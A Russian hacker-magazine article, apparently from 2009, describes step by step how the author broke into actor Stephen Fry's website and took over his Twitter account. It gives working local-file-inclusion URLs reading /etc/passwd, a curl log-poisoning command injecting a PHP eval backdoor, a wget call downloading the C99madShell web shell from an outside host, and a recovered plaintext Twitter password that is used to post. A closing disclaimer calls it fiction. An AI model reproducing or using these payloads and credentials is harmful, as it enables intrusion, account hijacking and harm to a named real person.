Содержание статьи
В лентах новостей зачастую можно прочесть о том, что в очередной раз на
Твиттере взломан аккаунт какой-нибудь Бритни Спирс, Джона МакКейна и иже с ними.
Как правило, такие взломы не составляют большого труда и проводятся с помощью
грубой силы - брутфорса (звезды любят ставить простейшие пароли). Но брутфорс -
не наш метод. На примере британского комика, звезды фильмов "Автостопом по
галактике" и "V — значит вендетта", Стивена Фрая я подробно расскажу о том, как
быстро и легко поиметь микроблог известной личности.
Микроблоггинг
Начнем с того, что официальный сайт актера располагается по адресу
http://www.stephenfry.com
и представляет собой собрание постов из его блога и форума, скопище рекламных
баннеров и некоторое количество промо-трейлеров, рекламирующих произведения Фрая.
Также на сайте можно увидеть твиты актера - stephenfry.com/clubfry/twitter. А
так как Твиттер предоставляет свой API любому желающему, то закралось
подозрение, что где-то в конфигах сайта хранится и пароль к микроблогу :).
Собственно, нашей конечной целью будет полный контроль над twitter-аккаунтом
актера (twitter.com/stephenfry), на данный момент имеющем 873,496(!) фолловеров.
Поиск багов
Первым делом осмотрим сайт на предмет паблик движков. Из таковых присутствуют
мой любимый блоговый движок WordPress и печально известный форум phpBB. Открыв
исходник главной страницы блога (stephenfry.com/blog), можно наблюдать
следующее:
<meta name="generator" content="WordPress 2.5.1" />
К сожалению, для 2.5.1 версии вордпресса у меня в тот момент не было под
рукой необходимых эксплойтов, и пришлось отбросить этот вариант.
Далее необходимо узнать версию форума phpBB. Сделать это можно многими
способами, но самый удобный - переход по ссылке с историей версий движка
stephenfry.com/forum/docs/CHANGELOG.html. Так как последний change был "Changes
since 2.0.20", смело можно делать вывод, что версия форума находится далеко за
пределами по-настоящему юзабельных уязвимостей (если, конечно, не считать
таковыми всяческие XSS и CSRF баги).
Не испытывая большого желания использовать известные XSS для этой версии
phpBB, я отправился за советом к великому и могучему Гуглу с таким запросом:
site:stephenfry.com filetype:php
На этот нехитрый запрос поисковик выдал кучу ссылок на PHP-файлы, которые
находились на сайте актера. Меня сразу же заинтересовала ссылка stephenfry.com/section.php?section=clubfry&subsection=twitter.
Здесь налицо два варианта: либо обращение к базе данных с соответствующими
параметрами, либо инклуд файлов шаблонов.
Решив сразу проверить второй вариант, я составил запрос:
stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../etc/passwd%00
На что движок сайта радостно выдал содержимое /etc/passwd :). Уязвимость
локального инклуда с работающим нулл-байтом была найдена! Дело оставалось за
малым - найти, в какой файл запихнуть злонамеренный код.
Услужливые логи
Если ты читал мою статью в прошлом
номере ][, то должен знать о замечательных способах
инжекта своего кода через
различные символические ссылки, находящиеся в /proc/self/*.
Попробуем заюзать хранилище локальных переменных /proc/self/environ:
stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../proc/self/environ%00
К сожалению, /proc/self/environ оказался для нас недоступен :(.
Теперь настал черед попробовать проинклудить логи. Путем нехитрого подбора
выяснилось, что апачевский error_log находится в /proc/self/fd/2 (будем юзать
именно его, так как access_log для такого сайта наверняка будет размером в
пару-тройку гигабайт, которые окажутся неподвластными для LFI).
Зачастую в error_log записывается без всякой фильтрации переменная referer, в
которую как раз таки и можно проинжектить наш PHP-код. Осталось только вызвать
ошибку, которая и запишется в лог. Самой легко выполнимой является ошибка
следующего формата:
[Sat Jul 11 23:39:21 2009] [error] [client x.x.x.x] client sent HTTP/1.1
request without hostname (see RFC2616 section 14.23): /
Чтобы вызвать такую ошибку и записать наш evil-код, достаточно лишь послать к
нужному хосту хэдер с пустым заголовком Host. Сделать это можно, например, так:
z:/usr/local/bin/curl.exe "http://www.stephenfry.com/" -H "Host:" --referer
"<?php eval($_GET[cmd]); ?>"
В итоге, наш код успешно запишется в error_log:
[Sat Jul 11 23:39:21 2009] [error] [client x.x.x.x] client sent HTTP/1.1
request without hostname (see RFC2616 section 14.23): /, referer: <?php eval($_GET[cmd]);
?>
– и мы сможем выполнять любые команды по следующей ссылке:
http://www.stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../proc/self/fd/2%00&cmd=phpinfo();
Проникновение
При дальнейших раскопках и использовании команды find ./ -type d -perm 0777 -ls
выяснилось, что на сервере присутствуют несколько директорий, доступных для
записи. Я выбрал /home/fry/public_html/img/blog_thumbs/ и залил туда C99madShell
под именем blog.php с помощью wget:
http://www.stephenfry.com/section.php?section=clubfry&subsection=/../../../../../../../../../../../../../../../../proc/self/fd/2%00&cmd=system('wget
-O /home/fry/public_html/img/blog_thumbs/blog.php
http://madnet.name/files/download/9_c99madshell.php');
Остается самое главное - найти доступы к обожаемому Фраем Твиттеру. А начнем
мы поиск с просмотра исходника /home/fry/public_html/index.php:
<?php
include_once("lib/sf_main.php");
$aryBlogEntry = fnGetHomepageBlogArray();
$aryBlogStats = fnGetBlogStatsArray();
$aryForumStats = fnGetForumStatsArray();
$strSection = "";
$strSubSection = "";
include(SF_BASE_DIR."/templates/navigation/header.php");
...
?>
Далее - lib/sf_main.php:
<?php
include_once "sf_constants.php";
include_once "sf_db_class.php";
include_once "sf_template.php";
include_once "sf_cache_functions.php";
...
?>
И, наконец, lib/sf_constants.php:
<?php
...
// Twitter
define('SF_TWITTER_USER','stephenfry');
define('SF_TWITTER_PASSWORD','dzQxbGE4eW9uMzd3bzQ=');
...
?>
Как видно, переменная SF_TWITTER_PASSWORD зашифрована в base64, так что надо
лишь пропустить это значение через функцию base64_decode и получить итоговый
пароль w41la8yon37wo4.
Конечная цель почти достигнута! Пароль получен (а такой пассворд вряд ли
возможно подобрать с помощью грубой силы). Осталось зайти в актерский аккаунт на
twitter.com и оставить там свое послание для будущих поколений.
Твиттер
Ну-с, заходим на twitter.com, вбиваем в соответствующие поля логин stephenfry
и пароль w41la8yon37wo4 и оказываемся залогиненными под аккаунтом Фрая :). После
логина сервис задает нам простой вопрос "What are you doing?", на который мы с
радостью отвечаем "I'll be watching you! From Russia with love :)". В течение
нескольких минут после отправки моего сообщения фанаты Стивена начали постить
свои ответы:
RegNomSongs by The Police and Matt Monroe. This is a quiz, right? RT @stephenfry:
I'll be watching you! From Russia with love :)
---
lokimaros@stephenfry How about how Дмитрий Дмитриевич Шостакович radically
changed your life and listening habits.
---
NikkiG57@stephenfry tell them about Russia, Wagner and your performance at
Glastonbury
---
valpanna@stephenfry I am afraid, very afraid!
---
Benn2100@stephenfry I'll be watching you too
---
thisheartbeatz@stephenfry have fun in RUSSIA! B)
---
wrathofagony@stephenfry cool in Russia? how is it???
---
CybrHwk@stephenfry Your in Russia? Where about in Russia are you Stephen?
---
chriscattaneoRT @stephenfry: I'll be watching you! From Russia with love :) ok
James!
---
Betty_Bitch@stephenfry and i'll be watching you on dave, from Wales with love :)
---
sjoes@stephenfry Are you in still Russia?
---
mio@stephenfry wow o_0 where are you now, Stephen?
Похоже, никто не догадался, что аккаунт актера взломан, а фраза "From Russia
with love" вовсе не означает, что Фрай сейчас находится в России.
Нехилый флешмоб
Завладев аккаунтом известной личности на каком-нибудь популярном онлайновом
сервисе, можно устроить не только нехилый флешмоб, но и полноценную скам/фишинг/спам
атаку. Но, конечно, самым забавным в такой ситуации было недавнее сообщение на
Твиттере Бритни Спирс о ее смерти :).
P.S. Спустя пару минут я удалил свой пост из микроблога, ибо моя тонкая
душевная организация не позволяет травмировать огромную армию поклонников
Стивена Фрая.
INFO
Стивен Джон Фрай (Stephen John Fry) — английский писатель,
актер и драматург, славу которому принесли роли в комедийных телесериалах
("Чёрная Гадюка", "Шоу Фрая и Лори" и "Дживс и Вустер"). За пределами
Великобритании Фрай известен в основном по роли Оскара Уайльда в фильме "Уайльд"
(1997). Помимо написания сценариев и текстов для телевидения, радио, кино и
театров, Фрай выступает автором статей и ведущим колонок в нескольких газетах и
журналах.
DANGER
Все описанное в статье является плодом больного воображения автора. Любые
совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут
ответственности за любой возможный вред, причиненный материалами этой статьи.